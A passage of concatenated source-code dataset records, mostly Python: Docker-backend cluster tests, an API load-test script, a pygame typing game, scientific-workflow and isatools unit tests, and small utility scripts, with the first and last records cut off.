'efficient installation method exists in `install_dcos_from_path`.'\n )\n\n assert str(excinfo.value) == expected_error\n\n\nclass TestDockerVersion:\n \"\"\"\n Tests for setting the version of Docker on the nodes.\n \"\"\"\n\n def _get_docker_version(\n self,\n node: Node,\n ) -> DockerVersion:\n \"\"\"\n Given a `Node`, return the `DockerVersion` on that node.\n \"\"\"\n _wait_for_docker(node=node)\n args = ['docker', 'version', '--format', '{{.Server.Version}}']\n result = node.run(args)\n docker_versions = {\n '1.11.2': DockerVersion.v1_11_2,\n '1.13.1': DockerVersion.v1_13_1,\n '17.12.1-ce': DockerVersion.v17_12_1_ce,\n }\n\n return docker_versions[result.stdout.decode().strip()]\n\n def test_default(self) -> None:\n \"\"\"\n By default, the Docker version is 1.13.1.\n \"\"\"\n with Cluster(\n cluster_backend=Docker(),\n masters=1,\n agents=0,\n public_agents=0,\n ) as cluster:\n (master, ) = cluster.masters\n docker_version = self._get_docker_version(node=master)\n\n assert docker_version == DockerVersion.v1_13_1\n\n @pytest.mark.parametrize('docker_version', list(DockerVersion))\n def test_custom_version(self, docker_version: DockerVersion) -> None:\n \"\"\"\n It is possible to set a custom version of Docker.\n\n Running this test requires ``aufs`` to be available.\n Depending on your system, it may be possible to make ``aufs`` available\n using the following commands:\n\n .. code\n\n $ apt-get install linux-image-extra-$(uname -r)\n $ modprobe aufs\n \"\"\"\n # We specify the storage driver because `overlay2` is not compatible\n # with old versions of Docker.\n with Cluster(\n cluster_backend=Docker(\n docker_version=docker_version,\n storage_driver=DockerStorageDriver.AUFS,\n ),\n masters=1,\n agents=0,\n public_agents=0,\n ) as cluster:\n (master, ) = cluster.masters\n node_docker_version = self._get_docker_version(node=master)\n\n assert docker_version == node_docker_version\n\n\nclass TestDockerStorageDriver:\n \"\"\"\n Tests for setting the Docker storage driver.\n \"\"\"\n\n DOCKER_STORAGE_DRIVERS = {\n 'aufs': DockerStorageDriver.AUFS,\n 'overlay': DockerStorageDriver.OVERLAY,\n 'overlay2': DockerStorageDriver.OVERLAY_2,\n }\n\n @property\n def _docker_info_endpoint(self) -> str:\n \"\"\"\n Return the endpoint used when getting Docker information.\n \"\"\"\n client = docker.from_env(version='auto')\n\n try:\n with Mocker() as mock:\n client.info()\n except NoMockAddress:\n pass\n\n [request] = mock.request_history\n return str(request).split()[1]\n\n def _get_storage_driver(\n self,\n node: Node,\n ) -> DockerStorageDriver:\n \"\"\"\n Given a `Node`, return the `DockerStorageDriver` on that node.\n \"\"\"\n _wait_for_docker(node=node)\n result = node.run(args=['docker', 'info', '--format', '{{.Driver}}'])\n\n return self.DOCKER_STORAGE_DRIVERS[result.stdout.decode().strip()]\n\n @pytest.mark.parametrize('host_driver', DOCKER_STORAGE_DRIVERS.keys())\n def test_default(self, host_driver: str) -> None:\n \"\"\"\n By default, the Docker storage driver is the same as the host's\n storage driver, if that driver is supported.\n \"\"\"\n client = docker.from_env(version='auto')\n info = {**client.info(), **{'Driver': host_driver}}\n\n with Mocker(real_http=True) as mock:\n mock.get(url=self._docker_info_endpoint, json=info)\n cluster_backend = Docker()\n\n storage_driver = cluster_backend.docker_storage_driver\n assert storage_driver == self.DOCKER_STORAGE_DRIVERS[host_driver]\n\n def test_host_driver_not_supported(self) -> None:\n \"\"\"\n If the host's storage driver is not supported, `aufs` is used.\n \"\"\"\n client = docker.from_env(version='auto')\n info = {**client.info(), **{'Driver': 'not_supported'}}\n\n with Mocker(real_http=True) as mock:\n mock.get(url=self._docker_info_endpoint, json=info)\n backend = Docker()\n\n assert backend.docker_storage_driver == DockerStorageDriver.AUFS\n\n with Cluster(\n cluster_backend=backend,\n masters=1,\n agents=0,\n public_agents=0,\n ) as cluster:\n (master, ) = cluster.masters\n node_driver = self._get_storage_driver(node=master)\n\n assert node_driver == DockerStorageDriver.AUFS\n\n @pytest.mark.parametrize('host_driver', DOCKER_STORAGE_DRIVERS.keys())\n @pytest.mark.parametrize('custom_driver', list(DockerStorageDriver))\n def test_custom(\n self,\n host_driver: str,\n custom_driver: DockerStorageDriver,\n ) -> None:\n \"\"\"\n A custom storage driver can be used.\n \"\"\"\n client = docker.from_env(version='auto')\n info = {**client.info(), **{'Driver': host_driver}}\n\n with Mocker(real_http=True) as mock:\n mock.get(url=self._docker_info_endpoint, json=info)\n cluster_backend = Docker(storage_driver=custom_driver)\n\n storage_driver = cluster_backend.docker_storage_driver\n assert storage_driver == custom_driver\n # We do not test actually changing the storage driver because only\n # `aufs` is supported on Travis CI.\n\n\nclass TestLabels:\n \"\"\"\n Tests for setting labels on Docker containers.\n \"\"\"\n\n def _get_labels(self, node: Node) -> Dict[str, str]:\n \"\"\"\n Return the labels on the container which maps to ``node``.\n \"\"\"\n client = docker.from_env(version='auto')\n containers = client.containers.list()\n [container] = [\n container for container in containers\n if container.attrs['NetworkSettings']['IPAddress'] ==\n str(node.public_ip_address)\n ]\n return dict(container.labels)\n\n def test_custom(self) -> None:\n \"\"\"\n It is possible to set node Docker container labels.\n \"\"\"\n cluster_key = uuid.uuid4().hex\n cluster_value = uuid.uuid4().hex\n cluster_labels = {cluster_key: cluster_value}\n\n master_key = uuid.uuid4().hex\n master_value = uuid.uuid4().hex\n master_labels = {master_key: master_value}\n\n agent_key = uuid.uuid4().hex\n agent_value = uuid.uuid4().hex\n agent_labels = {agent_key: agent_value}\n\n public_agent_key = uuid.uuid4().hex\n public_agent_value = uuid.uuid4().hex\n public_agent_labels = {public_agent_key: public_agent_value}\n\n with Cluster(\n cluster_backend=Docker(\n docker_container_labels=cluster_labels,\n docker_master_labels=master_labels,\n docker_agent_labels=agent_labels,\n docker_public_agent_labels=public_agent_labels,\n ),\n masters=1,\n agents=1,\n public_agents=1,\n ) as cluster:\n for node in cluster.masters:\n node_labels = self._get_labels(node=node)\n assert node_labels[cluster_key] == cluster_value\n assert node_labels[master_key] == master_value\n assert agent_key not in node_labels\n assert public_agent_key not in node_labels\n\n for node in cluster.agents:\n node_labels = self._get_labels(node=node)\n assert node_labels[cluster_key] == cluster_value\n assert node_labels[agent_key] == agent_value\n assert master_key not in node_labels\n assert public_agent_key not in node_labels\n\n for node in cluster.public_agents:\n node_labels = self._get_labels(node=node)\n assert node_labels[cluster_key] == cluster_value\n assert node_labels[public_agent_key] == public_agent_value\n assert master_key not in node_labels\n assert agent_key not in node_labels\n","repo_name":"pkarthikeyan19/dcos-e2e","sub_path":"tests/test_dcos_e2e/backends/docker/test_docker.py","file_name":"test_docker.py","file_ext":"py","file_size_in_byte":12861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"25678154745","text":"import random\nimport threading\nimport time\nimport urllib.request\nimport random\n\n# url_base = \"http://10.124.69.7:8000/api?region=\"\nurl_base = \"http://3.143.149.107:8000/api?region=\"\n\nlimit = pow(10, 7)\nt_list = []\n\ndef thread_run(th_id):\n for i in range(100):\n chr = \"chr\" + str(random.randint(1, 22))\n size = int(pow(10, 4 + 3*random.random()))\n pos = random.randint(10, limit - size)\n pos2 = pos + size\n url = url_base + chr + \":\" + str(pos) + \"-\" + str(pos2)\n # print(url)\n # time.sleep(1)\n start = time.time()\n data = urllib.request.urlopen(url).read()\n t = time.time() - start\n t_list.append(t)\n print(url, size, len(data), round(t, 3)*1000)\n # if ((i % 10) == 0): print(\"Thread\", th_id, i)\n\n\nnum_thread = 5\nlist_threads = []\nfor i in range(0, num_thread): \n th = threading.Thread(target=thread_run, args=(i, ))\n list_threads.append(th)\n th.start()\nfor th in list_threads: th.join()\nprint(\"DONE\")\ntotal = 0\nn = len(t_list)\nfor t in t_list: total += t\nprint(\"No of samples\", len(t_list), \"average time = \", total / len(t_list))\nt_list.sort()\nfor i in range(0, 6):\n j = (i*(n-1)) // 5\n print(i*20, \"% time = \", int(t_list[j]*1000))\n\n\n\n\n","repo_name":"lebinh190998/genome-browser","sub_path":"server/test_server_load.py","file_name":"test_server_load.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"41757551815","text":"# here we call functions from functions\n\ndef introduce(name):\n \"\"\"\n\n :param name: a regular string\n :return: prints the name\n \"\"\"\n print(f\"The name is {name}\")\n\ndef bond(first_name: str = \"james\", last_name: str = \"bond\") -> object:\n \"\"\"\n Coll function\n :param first_name: first name, default \"james\"\n :param last_name: last name, default \"bond\"\n :return: returns the cool introduction\n \"\"\"\n first_name = first_name.capitalize()\n last_name = last_name.capitalize()\n return f\"{last_name}, {first_name} {last_name}\"\nintroduce(bond())\nintroduce(bond(\"Stefan\", \"vlad\"))\nintroduce(bond(first_name=\"John\" ))\nhelp(bond)","repo_name":"stefanvb88/DrivenetsAutomationCourse","sub_path":"functions3.py","file_name":"functions3.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23026212797","text":"import chromance, hub\r\n\r\ndistanceMoved = 0\r\n\r\nclass Trail():\r\n def __init__(self, colour, startingLED, lifetime, immortal, speed = 1, hasDeathEffect = False):\r\n self.colour = colour\r\n self.currentPosition = startingLED\r\n self.lifetime = lifetime\r\n self.isAtStart = True\r\n self.immortal = immortal\r\n self.direction = 1 if startingLED % 2 == 0 else -1\r\n self.speed = speed\r\n self.hasDeathEffect = hasDeathEffect\r\n \r\n def moveWithSpeed(self):\r\n for i in range(self.speed):\r\n self.move()\r\n \r\n def move(self):\r\n nextPosition = 0\r\n if hub.ledIsStartOrEnd(self.currentPosition) and not self.isAtStart:\r\n currentHub = hub.getConnectedHub(self.currentPosition)\r\n nextPosition = currentHub.getRandomLEDExcept(self.currentPosition)\r\n \r\n self.direction = 1 if nextPosition % 2 == 0 else -1\r\n self.isAtStart = True\r\n else: \r\n nextPosition = self.currentPosition + self.direction\r\n self.isAtStart = False\r\n \r\n self.currentPosition = nextPosition\r\n self.show()\r\n if not self.immortal:\r\n self.lifetime -= 1\r\n \r\n def show(self):\r\n chromance.setLEDFromNumber(self.currentPosition, self.colour)\r\n \r\n def getCurrent(self):\r\n return self.speed * 360 * (self.colour[0] + self.colour[1] + self.colour[2]) / (3 * 255)","repo_name":"EquinoxH/Chromance","sub_path":"shapes/trail.py","file_name":"trail.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11703978734","text":"from __future__ import division, print_function\n\n# Import Python modules\nimport os\nimport sys\nimport shutil\nimport unittest\n\n# Import Broadband modules\nimport cmp_bbp\nimport bband_utils\nimport seqnum\nfrom install_cfg import InstallCfg\nfrom irikura_hf import IrikuraHF\n\nclass TestIrikuraHF(unittest.TestCase):\n \"\"\"\n Acceptance Test for irikura_hf.py\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Set up and stage in all input files\n \"\"\"\n self.install = InstallCfg()\n self.velmodel = \"nr02-vs500.fk1d\"\n self.srcfile = \"whittier_v12_11_0_fs.src\"\n self.srffile = \"whittier_v12_11_0_fs.srf\"\n self.stations = \"whittier_v19_02_1_short.stl\"\n self.stress_drop = \"stress_drop.out\"\n self.segments_midpoint = \"segments.midpoint.txt\"\n self.sim_id = int(seqnum.get_seq_num())\n\n # Set up paths\n refdir = os.path.join(self.install.A_TEST_REF_DIR, \"irikura\")\n a_indir = os.path.join(self.install.A_IN_DATA_DIR, str(self.sim_id))\n a_tmpdir = os.path.join(self.install.A_TMP_DATA_DIR, str(self.sim_id))\n a_outdir = os.path.join(self.install.A_OUT_DATA_DIR, str(self.sim_id))\n a_logdir = os.path.join(self.install.A_OUT_LOG_DIR, str(self.sim_id))\n\n # Create directories\n bband_utils.mkdirs([a_indir, a_tmpdir, a_outdir, a_logdir],\n print_cmd=False)\n\n shutil.copy2(os.path.join(refdir, self.velmodel),\n os.path.join(a_indir, self.velmodel))\n shutil.copy2(os.path.join(refdir, self.stations),\n os.path.join(a_indir, self.stations))\n shutil.copy2(os.path.join(refdir, self.srffile),\n os.path.join(a_indir, self.srffile))\n shutil.copy2(os.path.join(refdir, self.srcfile),\n os.path.join(a_indir, self.srcfile))\n shutil.copy2(os.path.join(refdir, self.stress_drop),\n os.path.join(a_tmpdir, self.stress_drop))\n shutil.copy2(os.path.join(refdir, self.segments_midpoint),\n os.path.join(a_tmpdir, self.segments_midpoint))\n\n def test_irikura_hf(self):\n \"\"\"\n Test Irikura HF code\n \"\"\"\n irikura_hf_obj = IrikuraHF(self.srcfile, self.srffile,\n self.velmodel, self.stations,\n \"LABasin500\", sim_id=self.sim_id)\n irikura_hf_obj.run()\n for i in range(1, 6):\n ref_file = os.path.join(self.install.A_TEST_REF_DIR,\n \"irikura\", \"s%02d-hf.bbp\" % (i))\n bbpfile = os.path.join(self.install.A_TMP_DATA_DIR,\n str(self.sim_id), \"%d.s%02d-hf.bbp\" %\n (self.sim_id, i))\n self.assertFalse(not cmp_bbp.cmp_bbp(bbpfile, ref_file,\n# tolerance=0.025) == 0,\n tolerance=None) == 0,\n \"output HF BBP file %s \" % (bbpfile) +\n \" does not match reference hf bbp file %s\" % (ref_file))\n\nif __name__ == '__main__':\n SUITE = unittest.TestLoader().loadTestsFromTestCase(TestIrikuraHF)\n RETURN_CODE = unittest.TextTestRunner(verbosity=2).run(SUITE)\n sys.exit(not RETURN_CODE.wasSuccessful())\n","repo_name":"SCECcode/bbp","sub_path":"bbp/tests/test_irikura_hf.py","file_name":"test_irikura_hf.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"48"} +{"seq_id":"32666753227","text":"import datetime\nimport logging\nfrom django.core.management.base import BaseCommand\n\nfrom main.models import MeetingHost\n\nlogger = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n message = f'message %s'\n extra = {\n 'datetime': datetime.datetime.now(),\n 'django_obj': MeetingHost.objects.first()\n }\n for what in ['debug', 'info', 'warning', 'error', 'critical']:\n getattr(logger, what)(message % what, extra=extra)\n","repo_name":"skills-cloud/b2b-cloud","sub_path":"project/contrib/management/management/commands/logging_test.py","file_name":"logging_test.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31791628912","text":"from __future__ import print_function\nimport os, re, sys\ndirNm, execName = os.path.split(sys.argv[0])\nsys.path.insert(1,os.path.abspath(os.path.join(dirNm, \"../libexec\")))\nfrom xalt_parse_mpirun_args import find_exec\n\nignoreT = {\n 'env' : True,\n 'time' : True,\n}\n\n# option and number of arguments space delimited\nargT = {\n '-n' : 1,\n '--nrs' : 1,\n '-c' : 1,\n '--cpu_per_rs' : 1,\n '-g' : 1,\n '--gpu_per_rs' : 1,\n '-m' : 1,\n '--memory_per_rs' : 1,\n '-r' : 1,\n '--rs_per_host' : 1,\n '-l' : 1,\n '--latency_priority' : 1,\n '-S' : 1,\n '--save_resources' : 1,\n '-U' : 1,\n '--use_resource' : 1,\n '-a' : 1,\n '--tasks_per_rs' : 1,\n '-f' : 1,\n '--appfile' : 1,\n '-d' : 1,\n '--launch_distribution' : 1,\n '-t' : 1,\n '--stdio_input' : 1,\n '-o' : 1,\n '--stdio_stdout' : 1,\n '-e' : 1,\n '--stdio_mode' : 1,\n '-k' : 1,\n '--stdio_stderr' : 1,\n '-E' : 1,\n '--env' : 1,\n '-F' : 1,\n '--env_eval' : 1,\n '-D' : 1,\n '--env_no_propagate' : 1,\n '-L' : 1,\n '--use_spindle' : 1,\n '-M' : 1,\n '--smpiargs' : 1,\n '-P' : 1,\n '--pre_post_exec' : 1,\n '-X' : 1,\n '--exit_on_error' : 1,\n '-b' : 1,\n '--bind' : 1,\n '-h' : 1,\n '--chdir' : 1,\n '-u' : 1,\n '--debug' : 1,\n '-i' : 1,\n '--immediate' : 1,\n}\n\nnpT = {\n '-p' : \"tasks\",\n '--np' : \"tasks\",\n} \n\n\ndef main():\n \"\"\"\n Find name of executable when using aprun.\n \"\"\"\n try:\n print(find_exec(ignoreT, argT, npT, None, sys.argv[1:], dot=True))\n except Exception as e:\n print('find_exec_exception')\n \nif ( __name__ == '__main__'): main()\n","repo_name":"xalt/xalt","sub_path":"old/job_launcher/xalt_find_exec_jsrun.py","file_name":"xalt_find_exec_jsrun.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"48"} +{"seq_id":"52499137","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# @Author: José Sánchez-Gallego (gallegoj@uw.edu)\n# @Date: 2022-09-12\n# @Filename: create_docs_files.py\n# @License: BSD 3-clause (http://www.opensource.org/licenses/BSD-3-Clause)\n\nfrom __future__ import annotations\n\nimport os\nimport warnings\n\nfrom sdssdb.peewee.sdss5db import database\n\n\ndef create_docs_files():\n\n database.set_profile(\"tunnel_operations\")\n\n tables = database.get_tables(\"minidb\")\n for table in tables:\n fname = str(table) + \".txt\"\n if os.path.exists(fname):\n warnings.warn(f\"{fname} already exists\")\n continue\n\n f = open(fname, \"w\")\n\n f.write(\"Summary\\n\")\n f.write(\"-------\\n\")\n f.write(\"\\n\\n\\n\\n\")\n\n f.write(\"Columns\\n\")\n f.write(\"-------\\n\")\n f.write(\"\\n\")\n\n columns = database.get_columns(str(table), \"minidb\")\n for column in columns:\n f.write(str(column.name) + \" - \\n\")\n\n f.write(\"\\n\")\n f.close()\n\n\nif __name__ == \"__main__\":\n create_docs_files()\n","repo_name":"sdss/minidb_docs","sub_path":"create_docs_files.py","file_name":"create_docs_files.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12449522990","text":"# 정렬 > 가장큰수\ndef solution(numbers):\n \n answer = ''\n numbers = list(map(str, numbers)) # 문자열로 바꾸기\n \n # 한자리씩 비교\n numbers.sort(key = lambda a : (a[0],a[1%len(a)],a[2%len(a)],a[3%len(a)]),reverse = True)\n \n answer = ''.join(numbers)\n \n return answer if int(answer) != 0 else '0'","repo_name":"yujing-kim/algorithm_coding_test","sub_path":"ps_python/programmers/~2020/sort/largest_number.py","file_name":"largest_number.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18378632612","text":"import random\nimport pygame\n\npygame.init()\n\n# Define the colors we will use in RGB format\ncolor_dict = dict(\n BLACK=(0, 0, 0),\n WHITE=(255, 255, 255),\n BLUE=(0, 0, 255),\n GREEN=(0, 255, 0),\n RED=(255, 0, 0)\n)\nlist_letter = 'aoг'\n\n# Set the height and width of the screen\nsize = [400, 400]\nscreen = pygame.display.set_mode(size)\n\ncenter = (200, 200)\ncenter_x, center_y = center\n\npygame.display.set_caption(\"Учимся печатать\")\n\ndef letter_draw_O(x, y, koof_size=1, ):\n pygame.draw.ellipse(screen, (255, 55, 0), (x - x // 2, y // 3,\n x, y + y // 3), 20)\n\n\ndef letter_draw_A(x, y, koof_size=1, ):\n pygame.draw.line(screen, (255, 55, 0), (x - x // 2, y + y // 2), (x, y - y // 2), 20)\n pygame.draw.line(screen, (255, 55, 0), (x, y - y // 2), (x + x // 2, y + y // 2), 20)\n pygame.draw.line(screen, (255, 55, 0), (x - x // 4, y), (x + x // 4, y), 20)\n\n\ndef letter_draw_G(x, y, koof_size=1, ):\n pygame.draw.line(screen, (255, 55, 0), (x - x // 4, y + y // 2), (x - x // 4, y - y // 2), 20)\n pygame.draw.line(screen, (255, 55, 0), (x - x // 4, y - y // 2), (x + x // 4, y - y // 2), 20)\n\n\ndef letter(l1):\n return random.choice(l1)\n\n# Loop until the user clicks the close button.\ndone = False\nclock = pygame.time.Clock()\n\nabc = {'a': letter_draw_A,\n 'o': letter_draw_O,\n 'г': letter_draw_G\n }\n\nwhile not done:\n\n clock.tick(1)\n\n\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n\n screen.fill((55, 255, 55))\n\n abc[letter(list_letter)](center_x, center_y)\n\n pygame.display.flip()\n\n# Be IDLE friendly\npygame.quit()\n","repo_name":"CapXYZ/infa_2020_Schamyakov","sub_path":"lab3/Litter Key.py","file_name":"Litter Key.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72638637587","text":"from unittest import TestCase\r\nfrom unittest.mock import patch\r\n\r\nfrom isatools.model.assay import Assay\r\nfrom isatools.model.datafile import DataFile\r\nfrom isatools.model.ontology_annotation import OntologyAnnotation\r\nfrom isatools.model.ontology_source import OntologySource\r\nfrom isatools.model.sample import Sample\r\nfrom isatools.model.protocol import Protocol\r\nfrom isatools.model.material import Material\r\nfrom isatools.model.parameter_value import ProtocolParameter\r\nfrom isatools.model.process import Process\r\nfrom isatools.model.study import Study\r\nfrom isatools.model.loader_indexes import loader_states as indexes\r\n\r\n\r\nclass TestAssay(TestCase):\r\n\r\n def setUp(self):\r\n self.assay = Assay()\r\n\r\n def test_init(self):\r\n assay = Assay(measurement_type=OntologyAnnotation(term='MT'),\r\n technology_type=OntologyAnnotation(term='TT'),\r\n technology_platform='TP',\r\n filename='file',\r\n data_files=[DataFile(filename='file1')])\r\n self.assertEqual(OntologyAnnotation(term='MT'), assay.measurement_type)\r\n self.assertEqual(OntologyAnnotation(term='TT'), assay.technology_type)\r\n self.assertEqual('TP', assay.technology_platform)\r\n self.assertEqual('file', assay.filename)\r\n self.assertEqual(1, len(assay.data_files))\r\n self.assertEqual('file1', assay.data_files[0].filename)\r\n\r\n def test_measurement_type(self):\r\n self.assertIsInstance(self.assay.measurement_type, OntologyAnnotation)\r\n self.assertEqual(self.assay.measurement_type.term, '')\r\n self.assay.measurement_type = OntologyAnnotation(term='MT')\r\n self.assertEqual(OntologyAnnotation(term='MT'), self.assay.measurement_type)\r\n\r\n with self.assertRaises(AttributeError) as context:\r\n self.assay.measurement_type = 1\r\n self.assertTrue(\"Assay.measurement_type must be a OntologyAnnotation or None; got 1:\"\r\n in str(context.exception))\r\n\r\n def test_technology_type(self):\r\n self.assertIsInstance(self.assay.technology_type, OntologyAnnotation)\r\n self.assertEqual(self.assay.technology_type.term, '')\r\n self.assay.technology_type = OntologyAnnotation(term='TT')\r\n self.assertEqual(OntologyAnnotation(term='TT'), self.assay.technology_type)\r\n\r\n with self.assertRaises(AttributeError) as context:\r\n self.assay.technology_type = 1\r\n self.assertTrue(\"Assay.technology_type must be a OntologyAnnotation or None; got 1:\"\r\n in str(context.exception))\r\n\r\n def test_technology_platform(self):\r\n self.assertEqual('', self.assay.technology_platform)\r\n self.assay.technology_platform = 'TP'\r\n self.assertEqual('TP', self.assay.technology_platform)\r\n\r\n with self.assertRaises(AttributeError) as context:\r\n self.assay.technology_platform = 1\r\n self.assertTrue(\"Assay.technology_platform must be a str or None; got 1:\"\r\n in str(context.exception))\r\n\r\n def test_data_files(self):\r\n self.assertEqual(0, len(self.assay.data_files))\r\n datafile = DataFile()\r\n self.assay.data_files = [datafile]\r\n self.assertEqual(self.assay.data_files, [datafile])\r\n self.assay.data_files = [123]\r\n self.assertEqual(self.assay.data_files, [datafile])\r\n\r\n with self.assertRaises(AttributeError) as context:\r\n self.assay.data_files = 1\r\n self.assertTrue(\"Assay.data_files must be iterable containing DataFiles\"\r\n in str(context.exception))\r\n\r\n def test_repr(self):\r\n expected_str = (\"isatools.model.Assay(measurement_type=\"\r\n \"isatools.model.OntologyAnnotation(term='', \"\r\n \"term_source=None, term_accession='', comments=[]), \"\r\n \"technology_type=isatools.model.OntologyAnnotation(\"\r\n \"term='', term_source=None, term_accession='', \"\r\n \"comments=[]), technology_platform='', filename='', \"\r\n \"data_files=[], samples=[], process_sequence=[], \"\r\n \"other_material=[], characteristic_categories=[], \"\r\n \"comments=[], units=[])\")\r\n self.assertEqual(expected_str, repr(self.assay))\r\n self.assertEqual(hash(expected_str), hash(self.assay))\r\n\r\n def test_str(self):\r\n self.assertEqual(\"\"\"Assay(\r\n measurement_type=\r\n technology_type=\r\n technology_platform=\r\n filename=\r\n data_files=0 DataFile objects\r\n samples=0 Sample objects\r\n process_sequence=0 Process objects\r\n other_material=0 Material objects\r\n characteristic_categories=0 OntologyAnnots\r\n comments=0 Comment objects\r\n units=0 Unit objects\r\n)\"\"\", str(self.assay))\r\n\r\n def test_equalities(self):\r\n first_assay = Assay(measurement_type=OntologyAnnotation(term='MT1'))\r\n second_assay = Assay(measurement_type=OntologyAnnotation(term='MT1'))\r\n third_assay = Assay(measurement_type=OntologyAnnotation(term='MT2'))\r\n self.assertTrue(first_assay == second_assay)\r\n self.assertFalse(first_assay == third_assay)\r\n self.assertFalse(first_assay != second_assay)\r\n self.assertTrue(first_assay != third_assay)\r\n\r\n @patch('isatools.model.identifiable.uuid4', return_value='test_uuid')\r\n def test_to_dict(self, mock_uuid4):\r\n study = Study()\r\n assay = Assay(\r\n filename='file',\r\n measurement_type=OntologyAnnotation(term='MT', id_='MT_ID'),\r\n technology_type=OntologyAnnotation(term='TT', id_='TT_ID')\r\n )\r\n expected_dict = {\r\n 'measurementType': {\r\n '@id': 'MT_ID',\r\n 'annotationValue': 'MT',\r\n 'termSource': '',\r\n 'termAccession': '',\r\n 'comments': []},\r\n 'technologyType': {\r\n '@id': 'TT_ID',\r\n 'annotationValue': 'TT',\r\n 'termSource': '',\r\n 'termAccession': '',\r\n 'comments': []\r\n },\r\n 'technologyPlatform': '',\r\n 'filename': 'file',\r\n 'characteristicCategories': [],\r\n 'unitCategories': [],\r\n 'comments': [],\r\n 'materials': {\r\n 'samples': [],\r\n 'otherMaterials': []\r\n },\r\n 'dataFiles': [],\r\n 'processSequence': []\r\n }\r\n self.assertEqual(expected_dict, assay.to_dict())\r\n\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n expected_dict['unitCategories'] = [{\r\n '@id': 'unit_ID',\r\n 'annotationValue': 'my_unit',\r\n 'termSource': '',\r\n 'termAccession': '',\r\n 'comments': []\r\n }]\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n expected_dict['materials']['samples'] = [{\"@id\": 'my_sample'}]\r\n indexes.samples = {'my_sample': Sample(id_='my_sample')}\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n # Data Files\r\n expected_dict['dataFiles'] = [\r\n {\r\n \"@id\": 'my_data_file',\r\n \"name\": \"filename\",\r\n \"type\": \"RawDataFile\",\r\n \"comments\": []\r\n }\r\n ]\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n indexes.term_sources = {'term_source1': OntologySource(name='term_source1')}\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n # Other Materials\r\n expected_dict['materials']['otherMaterials'] = [\r\n {\r\n '@id': 'my_other_material_id',\r\n 'name': 'extract-my_other_material_name', # add extract- for string replace test\r\n 'type': 'Extract Name',\r\n 'comments': [],\r\n 'characteristics': [\r\n {\r\n 'category': {'@id': 'my_other_material_characteristic_id'},\r\n 'value': {\r\n '@id': 'my_other_material_characteristic_value',\r\n 'annotationValue': 'my_other_material_characteristic_value2_term',\r\n 'termAccession': 'term_accession_val',\r\n 'comments': [],\r\n 'termSource': ''\r\n },\r\n 'comments': []\r\n },\r\n {\r\n 'category': {'@id': 'my_other_material_characteristic_id2'},\r\n 'value': {\r\n '@id': 'my_other_material_characteristic_value2_id',\r\n 'annotationValue': 'my_other_material_characteristic_value2_term',\r\n 'termAccession': 'term_accession_val',\r\n 'comments': [],\r\n 'termSource': ''\r\n },\r\n 'comments': []\r\n }\r\n ]\r\n }\r\n ]\r\n indexes.add_characteristic_category(OntologyAnnotation(id_='my_other_material_characteristic_id'))\r\n indexes.add_characteristic_category(OntologyAnnotation(id_='my_other_material_characteristic_id2'))\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n # Make sur the string 'extract-' is removed from the expected_dict material name before assertion\r\n # And set the characteristic value as an ontology annotation output\r\n expected_value = {\r\n '@id': 'my_other_material_characteristic_value',\r\n 'annotationValue': 'my_other_material_characteristic_value2_term',\r\n 'comments': [],\r\n 'termAccession': 'term_accession_val',\r\n 'termSource': ''\r\n }\r\n expected_dict['materials']['otherMaterials'][0]['name'] = 'my_other_material_name'\r\n expected_dict['materials']['otherMaterials'][0]['characteristics'][0]['value'] = expected_value\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n # Process Sequence\r\n expected_dict['processSequence'] = [\r\n {\r\n \"@id\": \"my_process_sequence_id\",\r\n \"executesProtocol\": {\"@id\": \"my_protocol_id\"},\r\n \"name\": \"my process\",\r\n \"comments\": [],\r\n \"date\": \"\",\r\n 'inputs': [],\r\n 'outputs': [],\r\n 'parameterValues': [],\r\n 'performer': ''\r\n }\r\n ]\r\n protocol = Protocol(\r\n id_=\"my_protocol_id\",\r\n protocol_type=OntologyAnnotation(term=\"nucleic acid sequencing\")\r\n )\r\n indexes.add_protocol(protocol)\r\n protocol = Protocol(\r\n id_=\"my_protocol_id2\",\r\n protocol_type=OntologyAnnotation(term=\"data collection\")\r\n )\r\n indexes.add_protocol(protocol)\r\n expected_dict['technologyType']['annotationValue'] = 'DNA microarray'\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), 